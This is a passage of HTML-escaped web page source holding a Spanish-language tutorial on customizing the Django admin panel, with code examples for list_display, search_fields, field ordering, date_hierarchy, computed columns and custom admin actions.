barra de búsqueda&lt;/p&gt;&#xA;&lt;p&gt;Si le damos click en el botón gris que está en la esquina superior derecha podremos agregar un modelo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;modificando-los-campos-que-aparecen-en-el-admin&#34;&gt;Modificando los campos que aparecen en el admin&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;En el archivo &lt;em&gt;admin.py&lt;/em&gt; dentro de nuestra aplicación de Django vamos a heredar de la clase admin.ModelAdmin.&lt;/p&gt;&#xA;&lt;p&gt;Podemos dotar a este modelo de la propiedad &lt;em&gt;list_display&lt;/em&gt;, para decirle al admin que campos queremos listar en el administrador.&lt;/p&gt;&#xA;&lt;p&gt;La propiedad &lt;em&gt;search_field&lt;/em&gt; nos permite especificar sobre que campos va a efectuarse la búsqueda.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      list_display &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;#Ahora la interfaz mostrará nombre, apellido y email de cada autor.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      search_fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AgregandoCamposAlAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AgregandoCamposAlAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Panel de administración de django admin con el campo created y barra de búsqueda agregados&#34; width=&#34;1024&#34; height=&#34;649&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Mira el campo created y la barra de búsqueda&lt;/p&gt;&#xA;&lt;h2 id=&#34;modificar-el-orden-de-los-campos-al-editar&#34;&gt;Modificar el orden de los campos al editar&lt;/h2&gt;&#xA;&lt;p&gt;Si queremos modificar el orden de los campos agregamos una propiedad &lt;em&gt;fields&lt;/em&gt; a nuestra clase&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      list_display &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;#Ahora la interfaz mostrará nombre, apellido y email de cada autor.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      search_fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;genre&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rating&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como puedes apreciar, el orden en que aparecen los campos se ha modificado. En orden Description, Name, Genre y Rating, justo como lo especificamos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/ModificandoElOrdenPredeterminadoDelAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/ModificandoElOrdenPredeterminadoDelAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Orden del formularió de creación de modelos modificados de acuerdo al campo fields&#34; width=&#34;1029&#34; height=&#34;707&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Observa como el orden ha cambio al especificado en la propiedad fields&lt;/p&gt;&#xA;&lt;h2 id=&#34;ordenando-los-objetos-por-un-campo&#34;&gt;Ordenando los objetos por un campo&lt;/h2&gt;&#xA;&lt;p&gt;Ordering especifica el campo que se usará para ordenar los modelos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      list_display &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;#Ahora la interfaz mostrará nombre, apellido y email de cada autor.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      search_fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;genre&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rating&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      ordering &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-name&amp;#39;&lt;/span&gt;,)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aquí le hemos dicho que los ordene por su nombre, de manera descendente, usando el símbolo &amp;ldquo;-&amp;rdquo;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/OrdenPorNombreDescendenteAdminDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/OrdenPorNombreDescendenteAdminDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Modelos ordenados alfabéticamente de manera descendente&#34; width=&#34;678&#34; height=&#34;425&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Nota el acomodo de los modelos en orden descendente&lt;/p&gt;&#xA;&lt;h2 id=&#34;modificando-la-cabecera-el-titulo-y-la-descripcion&#34;&gt;Modificando la cabecera, el título y la descripción&lt;/h2&gt;&#xA;&lt;p&gt;Si quieres darle un toque personalizado al admin de Django, incluso poniéndole el nombre de tu negocio, o el del negocio de tu cliente. Puedes hacerlo modificando las propiedades del modelo Admin de la siguiente manera:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site_header &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Nombre de mi sitio&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;index_title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Panel de control de mi sitio&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site_title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Titulo en la pestaña del navegador&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora puedes apreciar que en la página principal del admin ya aparecen los cambios que hemos hecho.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/ModificandoLaCabeceraTituloYDescripcion.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/ModificandoLaCabeceraTituloYDescripcion.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Cambio del título, descripción y title del panel de administración de django admin&#34; width=&#34;301&#34; height=&#34;441&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Los tres sitios señalados han cambiado&lt;/p&gt;&#xA;&lt;h2 id=&#34;ordenando-los-objetos-de-acuerdo-a-un-campo-de-fecha&#34;&gt;Ordenando los objetos de acuerdo a un campo de fecha&lt;/h2&gt;&#xA;&lt;p&gt;Si agregamos un campo &lt;em&gt;date_hierarchy&lt;/em&gt; a nuestro modelo, seremos capaces de ordenar los campos de acuerdo a un campo de tipo &lt;em&gt;DateTimeField&lt;/em&gt; o &lt;em&gt;DateField&lt;/em&gt; en nuestro modelo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    date_hierarchy &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AgregandoDate_hierarchy.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AgregandoDate_hierarchy.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Ordenamiento por un campo de fecha&#34; width=&#34;555&#34; height=&#34;193&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;La leyenda April2021 y April 30 aparecen tras colocar date_hierarchy&lt;/p&gt;&#xA;&lt;h2 id=&#34;crear-campos-dinamicos-personalizados&#34;&gt;Crear campos dinámicos personalizados&lt;/h2&gt;&#xA;&lt;p&gt;También podemos crear campos especiales, que no forman parte del modelo, y que se generan de manera dinámica de acuerdo a información de los propios campos del modelo o de otro lugar. Por ejemplo un campo que clasifique un objeto de acuerdo a sus calificaciones.&lt;/p&gt;&#xA;&lt;p&gt;Para crear un campo de estos agregamos el nombre del campo a &lt;em&gt;list_display&lt;/em&gt; (para indicarle al admin que lo muestre) y creamos un método con el mismo nombre, este método recibe el objeto individual y debe retornar lo que queremos que se muestre en pantalla.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    list_display &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;popular&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;popular&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Popular&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; obj&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;rating &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;4.5&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;No es popular&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/CamposPersonalizadosDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/CamposPersonalizadosDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Campos dinámicos personalizados del Django Admin.&#34; width=&#34;653&#34; height=&#34;224&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;crear-acciones-para-el-admin-de-django&#34;&gt;Crear acciones para el admin de Django&lt;/h2&gt;&#xA;&lt;p&gt;Todos los modelos tienen la acción de eliminar disponible, la cual permite seleccionar varias filas de la base de datos y borrarlas.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AccionEliminarDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AccionEliminarDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Acción de eliminar en el django admin.&#34; width=&#34;654&#34; height=&#34;198&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Además de la acción eliminar podemos crear nuestras propias acciones que modifiquen a nuestros elementos del admin en la manera en la que deseemos&lt;/p&gt;&#xA;&lt;p&gt;Como ejemplo vamos a crear una acción que permite establecer un rating de 5.0 a nuestros objetos.&lt;/p&gt;&#xA;&lt;p&gt;Primero, creamos una función que recibe modeladmin, request y el queryset como argumentos. El queryset contendrá todos los objetos que seleccionaremos en la interfaz. Y también podemos agregar un mensaje que se muestre cuando se ejecuta la acción.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; messages&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Register your models here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span 